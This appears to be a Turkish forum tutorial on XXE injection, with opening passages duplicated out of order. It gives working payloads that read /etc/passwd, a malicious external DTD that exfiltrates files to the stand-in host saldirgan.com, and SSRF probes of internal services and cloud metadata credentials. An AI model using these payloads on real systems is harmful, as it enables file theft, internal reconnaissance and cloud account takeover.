Conrado Sol
- 29 Nis 2026
- 135 Mesaj
Aktiflik
Seviye
Deneyim
Bugün sizlerle XXE - XML External Entity Injection konusunu inceleyeceğiz.
XXE - XML External Entity Injection, XXE, bir XML parser'ının doküman içinde tanımlanan harici (external) entity'leri işlemesiyle oluşan ve sunucudaki hassas dosyaların okunmasına, SSRF'e ve servis dışı bırakmaya (DoS) yol açabilen kritik bir güvenlik açığıdır.
Genel fikir, XML parser'a harici olarak tanımlanmış entity'leri yüklemesini söylemektir - bu sayede hedef sunucuda saklanan hassas içeriğe erişim mümkün hale gelir.
Data Exposure (Veri İfşası) --> Sunucudaki hassas dosyaların okunması (/etc/passwd, config, private key)
Denial of Service (DoS) --> Kötü amaçlı payloadlarla sunucunun aşırı yüklenmesi
Server-Side Request Forgery (SSRF) --> Sunucuyu dahili/harici kaynaklara istek atmaya zorlama
Şimdi XML parser'ları test etmek/saldırmak ve XML External Entity enjekte etmek için kullanılabilecek bazı yararlı teknikleri inceleyelim.
Private external entity'ler tek bir yazar veya yazar grubuyla sınırlıdır. Public entity'ler ise daha geniş/genel kullanım için tasarlanmıştır.
PRIVATE - SYSTEM Anahtar Kelimesi
Sadece bir URI belirtilir; erişim tek bir yazar/kaynağa özeldir. En tehlikeli tür budur çünkü doğrudan yerel dosya sistemine (file://) veya dahili ağa (http://) işaret edebilir.
<!ENTITY name SYSTEM "URI">
PUBLIC - PUBLIC Anahtar Kelimesi
Bir PublicID (standart bir tanımlayıcı) ile birlikte, entity'nin bulunabileceği alternatif bir URI belirtilir. Daha geniş/genel kullanım için tasarlanmıştır.
<!ENTITY name PUBLIC "PublicID" "URI">
Uygulama bu dokümanı işlerken hem mesajın gövdesini hem de referans verilen dosyanın içeriğini alıcıya gösterir.
<!ENTITY xxefile SYSTEM "file:///etc/passwd">
August 21, 2014
Mario says:
"Wanna play? -Cheers, SuperMario!"
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
Sonuç: Görünürde masum bir mesajlaşma özelliği, sunucudaki sistem dosyasını tamamen sızdırmış olur.
Bunun için harici bir DTD dosyası kullanılır - parametre entity'leri (%) ile.
-- http://saldirgan.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://saldirgan.com/?data=%file;'>">
%eval;
%exfil;
saldirgan.com access.log:
GET /?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1... HTTP/1.1
Not: HTTP GET parametreleri newline (%0A) taşıyamadığından, çok satırlı dosyalar için genellikle base64 encode edilerek sızdırılır: php://filter/convert.base64-encode/resource=...
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/"> <!-- Redis gibi iç servisleri prob'lama -->
Yanıt süresi veya hata mesajı farklılıkları, portun açık/kapalı olduğunu belirlemekte kullanılabilir (Blind SSRF).
AWS/Azure/GCP ortamlarında bu teknik, geçici IAM kimlik bilgilerinin sızdırılmasına ve bulut hesabının tamamen ele geçirilmesine yol açabilir.
XXE - XML External Entity Injection, XXE, bir XML parser'ının doküman içinde tanımlanan harici (external) entity'leri işlemesiyle oluşan ve sunucudaki hassas dosyaların okunmasına, SSRF'e ve servis dışı bırakmaya (DoS) yol açabilen kritik bir güvenlik açığıdır.
1. XXE Nedir?
XML Injection saldırıları arasında en tehlikeli olanı, XML doküman tanımına harici entity enjekte edilmesiyle oluşan XXE (XML eXternal Entities) saldırısıdır.Genel fikir, XML parser'a harici olarak tanımlanmış entity'leri yüklemesini söylemektir - bu sayede hedef sunucuda saklanan hassas içeriğe erişim mümkün hale gelir.
Tanım ve Etki Alanları
XXE, bir XML parser'ın doküman içinde referans verilen harici entity'leri işlemesiyle oluşan bir zafiyettir. Bu durum üç ana etkiye yol açabilir:Data Exposure (Veri İfşası) --> Sunucudaki hassas dosyaların okunması (/etc/passwd, config, private key)
Denial of Service (DoS) --> Kötü amaçlı payloadlarla sunucunun aşırı yüklenmesi
Server-Side Request Forgery (SSRF) --> Sunucuyu dahili/harici kaynaklara istek atmaya zorlama
Neden Tehlikeli?
Harici entity'ler dokümana dinamik referanslar oluşturmayı sağlar. En tehlikeli olanları private (özel) entity'lerdir; çünkü bunlar yerel sistem dosyalarını ifşa etmeye, ağ şemalarıyla oynamaya ve dahili uygulamaları manipüle etmeye izin verir.Şimdi XML parser'ları test etmek/saldırmak ve XML External Entity enjekte etmek için kullanılabilecek bazı yararlı teknikleri inceleyelim.
2. Harici Entity Türleri: Private vs. Public
İki tür harici entity vardır: Private ve Public. Aralarındaki fark kullanım amaçlarına dayanır.Private external entity'ler tek bir yazar veya yazar grubuyla sınırlıdır. Public entity'ler ise daha geniş/genel kullanım için tasarlanmıştır.
PRIVATE - SYSTEM Anahtar Kelimesi
Sadece bir URI belirtilir; erişim tek bir yazar/kaynağa özeldir. En tehlikeli tür budur çünkü doğrudan yerel dosya sistemine (file://) veya dahili ağa (http://) işaret edebilir.
<!ENTITY name SYSTEM "URI">
XML:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT sign (#PCDATA)>
<!ENTITY c SYSTEM "http://my.site/copyright.xml">
]>
<sign>&c;</sign>
PUBLIC - PUBLIC Anahtar Kelimesi
Bir PublicID (standart bir tanımlayıcı) ile birlikte, entity'nin bulunabileceği alternatif bir URI belirtilir. Daha geniş/genel kullanım için tasarlanmıştır.
<!ENTITY name PUBLIC "PublicID" "URI">
XML:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT sign (#PCDATA)>
<!ENTITY c PUBLIC "-//W3C//TEXT copyright//EN"
"http://www.w3.org/xmlspec/copyright.xml">
]>
<sign>&c;</sign>
Pentest Açısından Önemi
Bir hedefte SYSTEM anahtar kelimesiyle entity tanımlamaya izin veriliyorsa, saldırgan file://, http://, ftp://, php:// gibi herhangi bir URI şemasını deneyebilir. Bu, hem yerel dosya okuma hem de SSRF için giriş noktasıdır.3.1- Resource Inclusion (Klasik XXE) - Adım Adım
Resource Inclusion, en temel XXE istismar tekniğidir. Saldırgan, yerel bir dosyaya işaret eden harici bir entity tanımlayan kötü amaçlı bir XML dosyası hazırlar/yükler.Uygulama bu dokümanı işlerken hem mesajın gövdesini hem de referans verilen dosyanın içeriğini alıcıya gösterir.
ADIM 1: Hedef Dosyaya İşaret Eden Entity'yi Tanımlama
DOCTYPE içinde, file:// protokolüyle sunucudaki hassas bir dosyaya işaret eden bir private entity tanımlanır.<!ENTITY xxefile SYSTEM "file:///etc/passwd">
ADIM 2: Gövdede Entity'ye Referans Vermek
XML isteğinin body kısmında, oluşturulan entity'ye &xxefile; ile referans verilir. Tam payload şu şekilde olur:
XML:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY xxefile SYSTEM "file:///etc/passwd">
]>
<message>
<from>SuperMario</from>
<body>&xxefile;</body>
</message>
ADIM 3: İsteği Gönderme ve Parser'ı Tetikleme
İstek hem saldırıyı tetiklemek hem de XML parser'ı kötü amaçlı içeriği getirmeye zorlamak için gönderilir. Ardından uygulamanın sızdırılan bilgiyi bir şekilde göstermesi sağlanmalıdır (ör. mesajı okuyan bir kullanıcı arayüzü, log görüntüleyici, PDF/rapor üretici).ADIM 4: Sonucu Gözlemleme (Exploit)
Alıcı mesajı görüntülediğinde, yalnızca mesajın gövdesini değil, aynı zamanda harici entity'nin içeriğini de yani /etc/passwd dosyasının tamamını görür.August 21, 2014
Mario says:
"Wanna play? -Cheers, SuperMario!"
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
Sonuç: Görünürde masum bir mesajlaşma özelliği, sunucudaki sistem dosyasını tamamen sızdırmış olur.
3.2- Error-Based XXE (Hata Mesajları Üzerinden Sızdırma)
Uygulama entity içeriğini doğrudan ekrana yansıtmıyorsa ancak XML parse hatalarını gösteriyorsa, dosya içeriği kasıtlı olarak geçersiz bir dosya yoluna gömülerek hata mesajı içine sızdırılabilir.Parametre Entity ile Hata Tetikleme
Var olmayan bir dosyayı okumaya çalışan parametre entity, hedef dosyanın içeriğini dosya adı olarak kullanır - parser bunu bulamayınca hata mesajının içine dosya içeriğini gömer.
XML:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<foo>test</foo>
3.3- Blind XXE - Out-of-Band (OOB) Veri Sızdırma
Uygulama ne entity içeriğini yansıtıyor ne de detaylı hata veriyorsa (tam Blind durum), veri saldırganın kendi sunucusuna (OOB kanalı üzerinden) taşıtılır.Bunun için harici bir DTD dosyası kullanılır - parametre entity'leri (%) ile.
ADIM 1: Saldırgan Sunucusunda Harici DTD Barındırma
saldirgan.com üzerinde host edilen evil.dtd dosyası, hedef dosyayı okuyup kendi sunucusuna HTTP isteği olarak gönderecek şekilde tanımlanır.-- http://saldirgan.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://saldirgan.com/?data=%file;'>">
%eval;
%exfil;
ADIM 2: Hedefe Gönderilen Ana Payload
Hedef uygulamaya, kendi harici DTD dosyasına referans veren minimal bir XML gönderilir.
XML:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % xxe SYSTEM "http://saldirgan.com/evil.dtd">
%xxe;
]>
<message><body>test</body></message>
ADIM 3: Sızdırılan Veriyi Toplama
Hedef sunucu payload'ı işlerken saldırganın sunucusuna otomatik olarak bir istek atar; dosya içeriği bu isteğin parametresinde taşınır.saldirgan.com access.log:
GET /?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1... HTTP/1.1
Not: HTTP GET parametreleri newline (%0A) taşıyamadığından, çok satırlı dosyalar için genellikle base64 encode edilerek sızdırılır: php://filter/convert.base64-encode/resource=...
3.4- XXE üzerinden SSRF
SYSTEM URI'sinde dosya yolu yerine bir URL verilirse, sunucu saldırganın istediği adrese bir istek gönderir. Bu, hedefin dahili ağını (internal network) taramak veya cloud metadata servislerine erişmek için kullanılabilir.Dahili Servis Keşfi (Internal Port Scan)
<!ENTITY xxe SYSTEM "http://internal-server:8080/admin"><!ENTITY xxe SYSTEM "http://127.0.0.1:6379/"> <!-- Redis gibi iç servisleri prob'lama -->
Yanıt süresi veya hata mesajı farklılıkları, portun açık/kapalı olduğunu belirlemekte kullanılabilir (Blind SSRF).
Cloud Metadata Servisi İstismarı
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">AWS/Azure/GCP ortamlarında bu teknik, geçici IAM kimlik bilgilerinin sızdırılmasına ve bulut hesabının tamamen ele geçirilmesine yol açabilir.
3.5- Diğer XXE Enjeksiyon Vektörleri
XXE yalnızca "çıplak" bir XML API endpoint'inde aranmaz. XML'i dahili olarak kullanan pek çok dosya formatı ve protokol de saldırı yüzeyine dahildir.- Dosya Yükleme Özellikleri (DOCX / XLSX / PPTX / ODT): Office Open XML formatları (.docx, .xlsx, .pptx) aslında birer ZIP arşivi içindeki XML dosyalarıdır. Bir "profil fotoğrafı" veya "belge yükle" özelliği, arka planda bu dosyaları parse ediyorsa, içine gömülen bir XXE payload'ı tetiklenebilir.
- SVG Dosya Yükleme: SVG, XML tabanlı bir görsel formatıdır. "Avatar yükle" gibi özellikler SVG kabul ediyorsa ve sunucu tarafında render ediliyorsa, SVG içine gömülen DOCTYPE ile XXE tetiklenebilir.
- SOAP Web Servisleri: SOAP mesajları XML tabanlıdır; SOAP endpoint'leri klasik REST/JSON API'lere göre XXE'ye karşı daha sık savunmasız çıkar çünkü XML parsing genelde varsayılan (güvensiz) ayarlarla yapılır.
- Content-Type Değiştirme (Gizli XML Endpoint'leri): JSON bekleyen bir endpoint'e istek gönderilirken Content-Type: text/xml ve gövdeye eşdeğer bir XML payload'ı yazılarak, arka planda hâlâ XML destekleyen ama arayüzde gösterilmeyen parser'lar tespit edilebilir.
- XInclude: Saldırgan tüm DOCTYPE'ı kontrol edemiyorsa (yalnızca bir alt-eleman kontrolü varsa) bile, XInclude ile harici içerik dahil edilebilir:
XML:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>


